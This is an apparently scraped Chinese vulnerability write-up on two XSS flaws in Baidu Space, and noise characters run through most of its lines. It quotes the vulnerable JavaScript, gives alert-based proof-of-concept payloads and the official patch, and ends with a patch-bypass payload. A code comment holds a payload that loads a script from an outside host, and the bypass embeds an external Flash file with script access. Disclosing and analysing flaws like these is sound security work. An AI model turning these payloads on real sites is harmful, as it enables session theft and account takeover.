百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
, m' R9 J! {' C
% K& \8 V2 q9 g0 P* N4 f1 X1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
, t5 U( e6 J/ ]# E' U2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 1 z* W; L0 `, h0 q/ m
6 c0 h( ]* N/ u将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 1 J8 j: A% q; |# q& ^9 a& }
其中BdUtil.insertWBR为
( W7 Z6 l& x$ l& l' ?0 Yfunction(text, step) { ; o5 l8 A+ ]- C. j2 o& Q% n
var textarea = textAreaCache || getContainer();
: N; f* w) o6 P$ Y if (!textarea) {
0 O: s8 |0 J* ~# ]" P9 B [; I/ V9 t4 O return text; " W- o, E& V0 \; c4 o5 e
}
' T2 d0 w$ U* ]! ? textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
5 ?! X3 M+ `* N( O8 r( K var string = textarea.value;
4 \0 b( A! r. b var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 5 g2 l% G q1 d! a- \6 d4 m+ S
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); * ^7 m1 D; ^ L
return result; 8 D) T+ @; X8 s7 o
} G, L6 y5 B* B
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. & U- U; |3 q6 @$ J$ W! I+ P
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
, z) O/ _6 l6 u3 F) ? 0 F) n3 X g7 S; _9 @
二:creatbgmusic() Dom-Xss Bug
0 q& Q7 F2 K" j9 j0 i) E% i百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
( W! t0 n" t+ y, F% u
D ]% e L( t6 _( h0 y- H* P在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: ( k) P% ]7 Q0 E7 j. Y
+ c0 ^) x1 Q- U5 o
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { + W0 v% [6 d3 E8 F% F6 R
//传入的murl赋值到bgmusic1和bgmusic2中 # s# Z* k( A1 n) w$ q
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
4 E/ D* S% e7 S& D8 Q) S var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
1 @8 V2 z. h3 k0 J% {0 C2 z1 z if (musicnum <= 1) { - B$ k# y4 M0 K. q# u& l5 c" F
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
; X' n7 l( I+ Y' V } 4 H# B& u8 Q7 i' K( A
bgmusic1 += "</OBJECT>"; 5 S% A; P% R+ O2 f* @( T; h2 L* j
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
4 G& H* |! |) s" @" e if (musicnum <= 1) { ) Y- v' ^& J1 t
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
/ r+ z4 {1 l- t6 E l, b; F$ x }
. z& K( H- O, g, a/ N" T bgmusic2 += "> </EMBED>"; 5 G) V/ v9 J$ S1 z7 j$ o
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
9 H0 L" L7 X0 }! r* w: M var bgmus = detectWMP(); 5 ^# L! k' C' D7 N0 Z
if (functype == "FckMusicHelper") {
; [* ]2 [5 U1 ?; z if (bgmus.installed) {
6 J% a' o, ~: s2 m$ N if (bgmus.type == "IE") {
+ A f5 a5 z: z% D3 n% [ return bgmusic1; % G# D# d( X/ R; E' h
} else if (bgmus.type == "NS") { , h7 z$ J4 @! {6 J
return bgmusic2;
4 P1 q* l9 \; U |/ T" y$ D } # L, |4 a9 ?1 w8 C# }) m; f8 h
} else { 2 v4 L4 Q- k3 g- J4 X% \ A: d
return bgmusic3; 3 E7 b' O0 B4 K5 q5 j* s6 E
} + b& f& W- h# i# v {% E% |# a
} else {
' I _: w* @( q if (bgmus.installed) {
: @8 K* K( X9 L- X, W8 R9 _7 q //document.write 直接输出bgmusic变量 导致xss 4 _5 y. M$ j* {! q# s9 H
if (bgmus.type == "IE") { & Q! R$ s: p" N. g, P. d
document.write(bgmusic1);
7 a) O, D; J8 m } else if (bgmus.type == "NS") {
4 \7 @5 H1 X+ w/ v3 \. J document.write(bgmusic2);
6 M* F @( E1 ~: j }
0 d4 d6 S0 L# n7 y( y } else {
$ _+ T4 d( j6 n: Q document.write(bgmusic3);
* z5 b/ o3 i1 A% _/ s, |/ w }
1 S* s( `. P( P) ^4 m4 D' T9 s return ""; 2 A; e8 p* q' Q2 P8 j
} " ?/ a; d4 [- }1 a* D* ?: C! v
} + l- m; T: P6 p! U" `
1 s1 L* i2 Y8 r9 j& Z
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
! ?% X( O8 `' \3 z0 c2 i+ e8 v$ G9 k
function initBlogTextForFCK(){ / h q0 [0 {2 i! c
//fck init music & F5 I; e O) G8 o
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} " u" f3 K' Y! z8 l4 H
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ! a, A/ {# L8 E7 T. u
var isAutoPlay=true; ; Q }; ]* X( `6 k' \
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 2 r4 D' ^. R' h k( G8 ^
var img=imgBox;
% v# b1 M6 A' w# }2 y" t" ^: e if(img.getAttribute(’rel’)){
V: t) k$ y" N var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
X+ B! Q7 m d5 |- \' E- \ var musicDiv = document.createElement("SPAN");
! u3 q8 e# w9 [4 ^- c" _ var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 3 s& b+ o% ~# q
: b" ?5 y0 @$ y8 E" @ .......................... 7 l1 a8 t" Q t% D% |
# C+ I+ G4 C9 S* O //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
5 v; i4 S V- g- A0 Z/ l4 z var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
3 n) w6 k; P' g1 T shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
+ T6 a0 X5 T8 f0 k musicDiv.innerHTML=shtml;
' V) l2 N8 F3 Z8 g- K/ v5 h i--;n--;
: M; l! L$ B' f }
; k& Y" `* |4 v, h3 f}
9 Z# D" l i4 b+ h0 U) q; v6 C b! k
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ' C0 I( `5 [, z7 R. A
$ i: z+ a: I1 |2 z! J# g
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
3 U% K# T0 w4 H& L6 @. W& T1 e7 \, Q# }$ J0 r4 F
等待官方补丁
/ \( V5 \4 {7 P- [2 Q
6 v0 V: D! y, x) n* J, f( _, O4 Q0 lupdate 2010年5月13日 ! \1 Z: \* P; a; q0 H( U$ w4 I
2 K& p5 f% d0 l% Q官方补丁: * {1 Y$ b! G) ~: ^! ^
6 C0 V4 v& a* H8 i2 ~
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); - U `8 Q, c8 U/ N7 U
改为:
' S# M2 b+ m& \6 |# |! ]var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
8 K- W [( m$ V, V1 V* E
2 N% ^4 m! d; E+ c) |( Bupdate 2010年5月13日 21:50:37
/ O- D" H4 W: w% p- W% [' i* Z; {
补丁存在漏洞 没有过滤" 可以继续跨: 2 }9 ~1 ?+ x+ l3 B: F2 r3 {
1 c# x# x# T9 F9 N5 @5 R# a
NEW POC: 8 j& m9 S2 e) [1 H
5 Q- q8 ~7 s$ H q3 H<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" $ M+ b" w# {2 Z( ]+ D
- N% P) x# [$ a1 @: w3 }: `( {7 M& L
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>, ]9 `# R5 ^4 l6 A6 J* R
* v8 R2 u, [ h* q |